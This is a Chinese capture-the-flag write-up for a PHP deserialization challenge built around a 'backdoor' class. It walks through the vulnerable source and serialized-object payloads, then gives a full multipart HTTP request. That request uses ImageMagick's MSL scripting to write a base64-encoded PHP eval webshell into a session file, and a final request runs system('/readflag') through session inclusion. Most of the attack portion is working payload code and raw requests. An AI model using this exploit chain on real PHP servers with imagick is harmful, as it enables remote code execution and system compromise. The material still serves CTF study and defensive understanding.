题目wp

题目中关键的利用知识点

这里面有backdoor的docker容器

这里写这篇文章的目的是来加深对这道题的理解

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
error_reporting(E_ERROR);
class backdoor {
public $path = null;
public $argv = null;
public $class = "stdclass";
public $do_exec_func = true;

public function __sleep() {
if (file_exists($this->path)) {
return include $this->path;
} else {
throw new Exception("__sleep failed...");
}
}

public function __wakeup() {
if (
$this->do_exec_func &&
in_array($this->class, get_defined_functions()["internal"])
) {
call_user_func($this->class);
} else {
$argv = $this->argv;
$class = $this->class;

new $class($argv); // 没有echo
}
}
}


$cmd = $_REQUEST['cmd'];
$data = $_REQUEST['data'];

switch ($cmd) {
case 'unserialze':
unserialize($data);
break;

case 'rm':
system("rm -rf /tmp");
break;

default:
highlight_file(__FILE__);
break;
}

阅读代码,存在两个魔法函数:

  • __sleep(),执行serialize()时,先会调用这个函数。这里可以实现任意文件包含。
  • __wakeup(),执行unserialize()时,先会调用这个函数。这里可以执行一次无参函数结构。

对于__sleep__来说,如果我们能够包含临时文件或者session即可rce。

目前的思路就有了,我们能够通过回调函数调用session_start,这里会触发序列化操作,如果我们能够控制session内容,那么就可以触发__sleep函数进行文件包含达成rce。接下来的目标则是想办法控制session内容。

(这个session_start是关键,在开启这个的时候会自动进行序列化,就是将session里的值进行序列化后存入存储介质中,然后因为访问了session中的数据,会自动将session中的值进行反序列化操作)

image-20230621160515951

(是先进行—-反序列化—-在进行—-序列化—-操作)

对于__wakeup__来说,我们可以执行一次php内部类,那么我们可以利用此来探测信息

构造反序列化payload查看phpinfo

1
2
3
4
5
6
7
8
9
10
11
<?php
class backdoor {
public $path = null;
public $argv = null;
public $class = "phpinfo";
public $do_exec_func = true;

}

$data = new backdoor();
echo serialize($data);

image-20230621162803997

发现imagick拓展,想起之前看过的文章exploiting-arbitrary-object-instantiations,文章讲述了针对以下结构的php代码的一种攻击方法

1
new $_GET['a']($_GET['b']);

再查看一下__wakeup方法

1
2
3
4
5
6
7
8
9
10
11
12
13
public function __wakeup() {
if (
$this->do_exec_func &&
in_array($this->class, get_defined_functions()["internal"])
) {
call_user_func($this->class);
} else {
$argv = $this->argv;
$class = $this->class;

new $class($argv);
}
}

一方面题目给了同类型代码,另一方面题目限制了通过内置类的利用,显然我们需要利用imagick的特性进行攻击

imagick类在初始化时可以执行Magick Scripting Language。那么考虑用其特性,在临时文件中写入Magick Scripting Language,然后在imagick初始化的时候执行临时文件并且写入session文件。再触发__sleep包含session文件以RCE

首先利用网站提供的功能,删除/tmp下的文件。

1
http://127.0.0.1:9999/?cmd=rm

接下来发包写入session

构造反序列化数据

1
2
3
4
5
6
7
8
9
10
11
<?php
class backdoor {
public $path = null;
public $argv = "vid:msl:/tmp/php*";
public $class = "imagick";
public $do_exec_func = false;

}

$data = new backdoor();
echo serialize($data);

最后在反序列化的时候是会执行这样 new imagick("vid:msl:/tmp/php*")

发包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /?data=O%3A8%3A%22backdoor%22%3A4%3A%7Bs%3A4%3A%22path%22%3BN%3Bs%3A4%3A%22argv%22%3Bs%3A17%3A%22vid%3Amsl%3A%2Ftmp%2Fphp*%22%3Bs%3A5%3A%22class%22%3Bs%3A7%3A%22imagick%22%3Bs%3A12%3A%22do_exec_func%22%3Bb%3A0%3B%7D&cmd=unserialze HTTP/1.1
Host: 127.0.0.1:9999
Accept: */*
Content-Length: 703
Content-Type: multipart/form-data; boundary=------------------------c32aaddf3d8fd979

--------------------------c32aaddf3d8fd979
Content-Disposition: form-data; name="swarm"; filename="swarm.msl"
Content-Type: application/octet-stream

<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADw/cGhwIGV2YWwoJF9HRVRbMV0pOz8+fE86ODoiYmFja2Rvb3IiOjI6e3M6NDoicGF0aCI7czoxNDoiL3RtcC9zZXNzX2Fma2wiO3M6MTI6ImRvX2V4ZWNfZnVuYyI7YjowO30=" />
<write filename="/tmp/sess_snakin" />
</image>
--------------------------c32aaddf3d8fd979--

这里就是强制文件上传 xml这些内容就会上传到/tmp/php* 临时文件下

接着因为new imagick("vid:msl:/tmp/php*") 初始会执行msl语言,所以临时文件里的内容就会被执行

就是将序列化好的字符进行base64编码 然后传入/tmp/sess_snakin

image-20230621163522068

随后使用执行一次任意无参函数的功能,触发session_start函数,并设置cookiePHPSESSID=snakin,即可文件包含session,成功RCEflag执行根目录的readflag即可。

1
2
3
4
GET /?data=O%3A8%3A%22backdoor%22%3A2%3A%7Bs%3A5%3A%22class%22%3Bs%3A13%3A%22session_start%22%3Bs%3A12%3A%22do_exec_func%22%3Bb%3A1%3B%7D&cmd=unserialze&1=system('/readflag'); HTTP/1.1
Host: 127.0.0.1:9999
Accept: */*
Cookie: PHPSESSID=snakin

上面的传的序列化字符就是为了开启session_start()

然后就会进行反序列化将path给赋值,反序列化完后再进行序列化,将序列化后的执行存入存储介质中 因为session文件中含有php代码,包含的时候就会执行

上面就是imagick配合session进行rce的过程了